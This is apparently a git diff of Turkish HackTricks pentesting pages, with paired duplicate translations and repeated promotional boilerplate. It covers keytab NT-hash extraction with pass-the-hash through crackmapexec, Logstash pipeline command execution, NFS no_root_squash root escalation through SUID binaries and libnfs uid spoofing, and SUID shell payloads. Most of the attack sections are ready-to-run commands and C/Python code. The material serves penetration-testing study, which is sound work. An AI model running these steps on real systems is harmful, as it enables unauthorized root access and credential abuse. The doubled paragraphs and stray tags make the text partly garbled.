Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar türü 23 olarak belirlendiğinde, kullanıcı kimlik doğrulaması için **NT Hash** dahil olmak üzere anahtar ayrıntılarını görüntülemek üzere tasarlanmıştır.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
Linux kullanıcıları için, **`KeyTabExtract`** işlevselliği sunar ve NTLM hash yeniden kullanımı için kullanılabilecek RC4 HMAC hash'inin çıkarılmasını sağlar.
Linux kullanıcıları için, **`KeyTabExtract`** NTLM hash yeniden kullanımı için faydalanılabilecek RC4 HMAC hash'ini çıkarmak için işlevsellik sunar.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
macOS üzerinde, **`bifrost`** anahtar tablosu dosyası analizi için bir araç olarak hizmet verir.
macOS'ta, **`bifrost`** anahtar dosyası analizi için bir araç olarak hizmet eder.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Çıkarılan hesap ve hash bilgileri kullanılarak, **`crackmapexec`** gibi araçlar kullanılarak sunuculara bağlantılar kurulabilir.
Çıkarılan hesap ve hash bilgilerini kullanarak, **`crackmapexec`** gibi araçlar kullanılarak sunuculara bağlantılar kurulabilir.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
@ -117,14 +119,17 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

File diff suppressed because it is too large Load diff

View file

@ -1,25 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Logstash
Logstash, **günlükleri toplamak, dönüştürmek ve iletmek** için bir sistem olan **pipeline'lar** aracılığıyla kullanılır. Bu pipeline'lar, **giriş**, **filtre** ve **çıkış** aşamalarından oluşur. Logstash, bir kompromize uğramış bir makinede çalıştığında ilginç bir yön ortaya çıkar.
Logstash, **logları toplamak, dönüştürmek ve dağıtmak** için **pipeline** olarak bilinen bir sistem kullanır. Bu pipeline'lar **giriş**, **filtre** ve **çıkış** aşamalarından oluşur. Logstash, ele geçirilmiş bir makinede çalıştığında ilginç bir durum ortaya çıkar.
### Pipeline Yapılandırması
Pipeline'lar, **/etc/logstash/pipelines.yml** dosyasında yapılandırılır ve bu dosya pipeline yapılandırmalarının konumlarını listeler:
Pipeline'lar, pipeline yapılandırmalarının yerlerini listeleyen **/etc/logstash/pipelines.yml** dosyasında yapılandırılır:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
Bu dosya, pipeline yapılandırmalarını içeren **.conf** dosyalarının nerede bulunduğunu ortaya çıkarır. Bir **Elasticsearch çıkış modülü** kullanırken, genellikle **pipelines** Elasticsearch kimlik bilgilerini içerir. Bu kimlik bilgileri, Logstash'in Elasticsearch'e veri yazma ihtiyacından dolayı genellikle geniş yetkilere sahiptir. Yapılandırma yollarındaki joker karakterler, Logstash'in belirtilen dizindeki tüm eşleşen pipeline'ları çalıştırmasına olanak tanır.
Bu dosya, **.conf** dosyalarının, pipeline yapılandırmalarını içeren yerlerini ortaya koymaktadır. **Elasticsearch output module** kullanıldığında, **pipelines**'in genellikle **Elasticsearch kimlik bilgilerini** içerdiği yaygındır; bu kimlik bilgileri, Logstash'ın Elasticsearch'e veri yazma gereksinimi nedeniyle genellikle geniş yetkilere sahiptir. Yapılandırma yollarındaki joker karakterler, Logstash'ın belirlenen dizindeki tüm eşleşen pipeline'ları çalıştırmasına olanak tanır.
### Yazılabilir Pipeline'lar Aracılığıyla Yetki Yükseltme
### Yazılabilir Pipelines ile Yetki Yükseltme
Yetki yükseltme denemeleri için öncelikle Logstash servisinin hangi kullanıcı altında çalıştığını belirleyin, genellikle **logstash** kullanıcısıdır. Aşağıdaki kriterlerden **birini** karşıladığınızdan emin olun:
Yetki yükseltme girişiminde bulunmak için, öncelikle Logstash hizmetinin çalıştığı kullanıcıyı belirleyin, genellikle **logstash** kullanıcısıdır. Aşağıdaki **bir** kriterden birine sahip olduğunuzdan emin olun:
- Bir pipeline **.conf** dosyasına **yazma erişiminiz** var **veya**
- **/etc/logstash/pipelines.yml** dosyası bir joker karakter kullanıyor ve hedef klasöre yazabilirsiniz
- **/etc/logstash/pipelines.yml** dosyası bir joker karakter kullanıyor ve hedef klasöre yazabiliyorsunuz
Ek olarak, aşağıdaki koşullardan **birini** karşılamak gerekmektedir:
Ayrıca, **bir** bu koşullardan biri yerine getirilmelidir:
- Logstash servisini yeniden başlatma yeteneği **veya**
- **/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarlıdır
- Logstash hizmetini yeniden başlatma yeteneği **veya**
- **/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarı var
Yapılandırmada bir joker karakter olduğunda, bu joker karakterle eşleşen bir dosya oluşturmak komut yürütme imkanı sağlar. Örneğin:
Yapılandırmada bir joker karakter verildiğinde, bu joker karakterle eşleşen bir dosya oluşturmak, komut yürütmeye olanak tanır. Örneğin:
```bash
input {
exec {
@ -61,26 +66,6 @@ codec => rubydebug
}
}
```
İşte, **interval** saniye cinsinden çalışma sıklığını belirler. Verilen örnekte, **whoami** komutu 120 saniyede bir çalışır ve çıktısı **/tmp/output.log** dosyasına yönlendirilir.
Burada, **interval** yürütme sıklığını saniye cinsinden belirler. Verilen örnekte, **whoami** komutu her 120 saniyede bir çalışır ve çıktısı **/tmp/output.log** dosyasına yönlendirilir.
**/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** olduğunda, Logstash yeni veya değiştirilmiş pipeline yapılandırmalarını otomatik olarak algılar ve uygular, yeniden başlatma gerektirmez. Joker karakteri yoksa, mevcut yapılandırmalara hala değişiklikler yapılabilir, ancak kesintileri önlemek için dikkatli olunması önerilir.
## Referanslar
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
**/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarı ile Logstash, yeni veya değiştirilmiş boru hattı yapılandırmalarını otomatik olarak algılayacak ve uygulayacaktır; yeniden başlatmaya gerek kalmadan. Eğer bir joker karakter yoksa, mevcut yapılandırmalarda değişiklikler yapılabilir, ancak kesintileri önlemek için dikkatli olunması önerilir.

View file

@ -1,31 +1,37 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
_ **/etc/exports** _ dosyasını okuyun, eğer **no\_root\_squash** olarak yapılandırılmış bir dizin bulursanız, o dizine **bir istemci olarak erişebilir** ve o dizine yerel **root** gibi **yazabilirsiniz**.
_ **/etc/exports** _ dosyasını okuyun, eğer **no\_root\_squash** olarak yapılandırılmış bir dizin bulursanız, o dizine **istemci olarak erişebilir** ve o dizin içinde **yerel makinenin root'uymuş gibi yazabilirsiniz.**
**no\_root\_squash**: Bu seçenek, istemcideki root kullanıcısına NFS sunucusundaki dosyalara root olarak erişim yetkisi verir. Bu ciddi güvenlik sorunlarına yol açabilir.
**no\_root\_squash**: Bu seçenek, istemcideki root kullanıcısına NFS sunucusundaki dosyalara root olarak erişim yetkisi verir. Bu da ciddi güvenlik sorunlarına yol açabilir.
**no\_all\_squash:** Bu, **no\_root\_squash** seçeneğine benzer, ancak **root olmayan kullanıcılara** uygulanır. Hayal edin, kimliği belirsiz bir kullanıcı olarak bir kabuk elde ettiniz; /etc/exports dosyasını kontrol ettiniz; no\_all\_squash seçeneği mevcut; /etc/passwd dosyasını kontrol ettiniz; root olmayan bir kullanıcıyı taklit ettiniz; (nfs kullanarak bağlanarak) o kullanıcı olarak bir suid dosyası oluşturdunuz. Suid dosyasını kimliği belirsiz bir kullanıcı olarak çalıştırın ve farklı bir kullanıcıya dönüşün.
**no\_all\_squash:** Bu, **no\_root\_squash** seçeneğine benzer, ancak **root olmayan kullanıcılara** uygulanır. Hayal edin, nobody kullanıcısı olarak bir shell'iniz var; /etc/exports dosyasını kontrol ettiniz; no\_all\_squash seçeneği mevcut; /etc/passwd dosyasını kontrol edin; root olmayan bir kullanıcıyı taklit edin; o kullanıcı olarak bir suid dosyası oluşturun (nfs kullanarak montaj yaparak). SUID'yi nobody kullanıcısı olarak çalıştırın ve farklı bir kullanıcıya dönüşün.
# Ayrıcalık Yükseltme
# Privilege Escalation
## Uzaktan Sömürü
## Remote Exploit
Bu zafiyeti bulduysanız, onu sömürebilirsiniz:
Bu güvenlik açığını bulduysanız, bunu istismar edebilirsiniz:
* Bir istemci makinede **o dizini bağlayarak**, **root olarak** içine **/bin/bash** ikili dosyasını kopyalayarak ve ona **SUID** yetkileri vererek, **kurban** makineden o bash ikili dosyasını çalıştırarak.
* **O dizini** bir istemci makinesinde **montajlayarak**, ve **root olarak** montajlı klasöre **/bin/bash** ikili dosyasını kopyalayarak ve ona **SUID** hakları vererek, o bash ikili dosyasını **kurban** makinesinden çalıştırarak.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -38,7 +44,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
* **İstemci makinesinde** bu dizini bağlamak ve içine **kök olarak kopyalamak** için, SUID izinini kötüye kullanacak derlenmiş payload'ımızı içeren bağlanmış klasöre yerleştirin, SUID haklarını verin ve **kurban makineden** bu ikiliyi çalıştırın (burada bazı [C SUID payloadları](payloads-to-execute.md#c) bulabilirsiniz).
* **O dizini** bir istemci makinesine **bağlamak** ve **root olarak** bağlı klasöre SUID iznini kötüye kullanacak derlenmiş yükümüzü kopyalamak, ona **SUID** hakları vermek ve **kurban** makineden o ikili dosyayı çalıştırmak (burada bazı [C SUID yüklerini](payloads-to-execute.md#c) bulabilirsiniz).
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -52,40 +58,40 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Yerel Sızma
## Yerel Sömürü
{% hint style="info" %}
Unutmayın, eğer kendi makinenizden hedef makineye bir tünel oluşturabilirseniz, gerekli portları tünelleme yaparak bu ayrıcalık yükseltme işlemini gerçekleştirmek için hala Uzaktan sürümü kullanabilirsiniz.\
Aşağıdaki hile, `/etc/exports` dosyasının bir IP adresini belirttiği durumda kullanılır. Bu durumda her iki durumda da uzaktan sızma kullanamazsınız ve bu hileyi kullanmanız gerekecektir.\
Sızma işleminin çalışması için başka bir gereklilik, `/etc/export` içindeki ihracatın `insecure` bayrağını kullanması gerektiğidir.\
--_/etc/export'ın bir IP adresi belirtip belirtmediğinden emin değilim, bu hile işe yarayacak mı_--
Not edin ki eğer **makinenizden kurban makinesine bir tünel oluşturabiliyorsanız, bu ayrıcalık yükseltmesini istismar etmek için Uzaktan versiyonu kullanmaya devam edebilirsiniz**.\
Aşağıdaki hile, dosya `/etc/exports` **bir IP gösteriyorsa** geçerlidir. Bu durumda **uzaktan istismarı kullanamayacaksınız** ve **bu hileyi kötüye kullanmanız gerekecek**.\
İstismarın çalışması için bir diğer gerekli şart, **`/etc/export` içindeki ihracatın** **`insecure` bayrağını kullanmasıdır**.\
\--_Eğer `/etc/export` bir IP adresi gösteriyorsa bu hilenin çalışıp çalışmayacağından emin değilim_--
{% endhint %}
## Temel Bilgiler
Senaryo, yerel bir makinede bağlı olan bir NFS paylaşımının sömürülmesini içerir ve istemcinin uid/gid'sini belirtmesine izin veren NFSv3 spesifikasyonundaki bir kusuru kullanır, bu da yetkisiz erişimi mümkün kılar. Sömürü, NFS RPC çağrılarının sahteciliğine izin veren [libnfs](https://github.com/sahlberg/libnfs) adlı bir kütüphanenin kullanılmasını içerir.
Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içeriyor ve bu, istemcinin uid/gid'ini belirtmesine izin veren NFSv3 spesifikasyonundaki bir hatayı kullanarak yetkisiz erişim sağlama potansiyeli sunuyor. İstismar, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içeriyor.
### Kütüphanenin Derlenmesi
### Kütüphaneyi Derleme
Kütüphane derleme adımları, çekirdek sürümüne bağlı olarak ayarlamalar gerektirebilir. Bu özel durumda, fallocate sistem çağrıları yorumlandı. Derleme süreci aşağıdaki komutları içerir:
Kütüphane derleme adımları, çekirdek sürümüne bağlı olarak ayarlamalar gerektirebilir. Bu özel durumda, fallocate sistem çağrıları yorum satırına alınmıştı. Derleme süreci aşağıdaki komutları içerir:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Saldırıyı Gerçekleştirme
### Sömürü Gerçekleştirme
Saldırı, ayrıcalıkları root'a yükselten ve ardından bir kabuk çalıştıran basit bir C programı (`pwn.c`) oluşturmayı içerir. Program derlenir ve oluşan ikili (`a.out`), RPC çağrılarında uid'yi sahteleyen `ld_nfs.so` kullanılarak kök paylaşıma yerleştirilir:
Sömürü, root ayrıcalıklarını artıran ve ardından bir shell çalıştıran basit bir C programı (`pwn.c`) oluşturmayı içerir. Program derlenir ve elde edilen ikili dosya (`a.out`), RPC çağrılarında uid'yi sahte olarak göstermek için `ld_nfs.so` kullanarak suid root ile paylaşıma yerleştirilir:
1. **Saldırı kodunu derleyin:**
1. **Sömürü kodunu derleyin:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Saldırıyı paylaşıma yerleştirin ve uid'yi sahteleyerek izinlerini değiştirin:**
2. **Sömürü paylaşımda yerleştirin ve uid'yi sahte göstererek izinlerini değiştirin:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Kök ayrıcalıklarını elde etmek için saldırıyı çalıştırın:**
3. **Root ayrıcalıkları kazanmak için sömürüyü çalıştırın:**
```bash
/mnt/share/a.out
#root
```
## Bonus: Gizli Dosya Erişimi için NFShell
Kök erişimi elde edildikten sonra, iz bırakmamak için sahipliği değiştirmeksizin NFS paylaşımıyla etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini ayarlayarak paylaşımdaki dosyalarla izin sorunları olmadan etkileşim sağlar.
## Bonus: NFShell için Gizli Dosya Erişimi
Root erişimi elde edildikten sonra, sahipliği değiştirmeden (iz bırakmamak için) NFS paylaşımı ile etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini eşleştirerek, paylaşımda dosyalarla izin sorunları olmadan etkileşimde bulunmayı sağlar:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -119,25 +125,32 @@ uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Çalıştırma şekli:
Çalıştırın gibi:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
## Referanslar
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,89 +1,26 @@
# Yürütülecek Payloadlar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## Yürütülecek Yükler
Bu bölümde, bir hedef sistemde ayrıcalık yükseltmek için kullanılabilecek bazı yaygın yükleri bulacaksınız. Bu yükler, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken daha yüksek ayrıcalıklara erişim sağlamak için kullanılabilir.
### 1. Sudo Kullanıcı Parolası İsteme
Bu yük, hedef sistemde sudo ayrıcalıklarına sahip bir kullanıcının parolasını istemek için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken sudo komutlarını çalıştırabilirsiniz.
```bash
sudo -S command
```
### 2. Sudo Kullanıcı Parolası Olmadan
Bu yük, hedef sistemde sudo ayrıcalıklarına sahip bir kullanıcının parolasını girmeden sudo komutlarını çalıştırmak için kullanılır. Bu yükü kullanarak, hedef sistemdeki düşük ayrıcalıklı bir kullanıcı olarak çalışırken sudo komutlarını çalıştırabilirsiniz.
```bash
sudo -n command
```
### 3. Sudo Kullanıcı Parolası İsteme (Root Olarak)
